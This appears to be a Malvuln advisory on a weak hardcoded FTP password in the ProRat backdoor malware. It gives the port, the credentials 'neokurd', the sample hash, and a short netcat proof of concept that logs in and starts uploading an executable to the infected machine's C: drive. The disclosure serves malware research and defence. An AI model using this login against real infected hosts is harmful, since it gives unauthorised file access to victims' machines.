Thursday, October 28, 2021

Backdoor.Win32.Prorat.ntz Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.ntz
Vulnerability: Weak Hardcoded Password
Description: The malware runs an FTP server on TCP port 2121. The authors handle "NeoKurD" displayed in the FTP banner response is reused as the password, just in lowercase. Moreover, the executable is packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: ab96d7f9e008a0774239be6be0c8e7bb
Vuln ID: MVID-2021-0382
Dropped files: dxdiag.exe
Disclosure: 10/27/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 Undetected by NeoKurD
USER neokurd
331 Password required for neokurd.
PASS neokurd
230 User neokurd logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,194,47).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.


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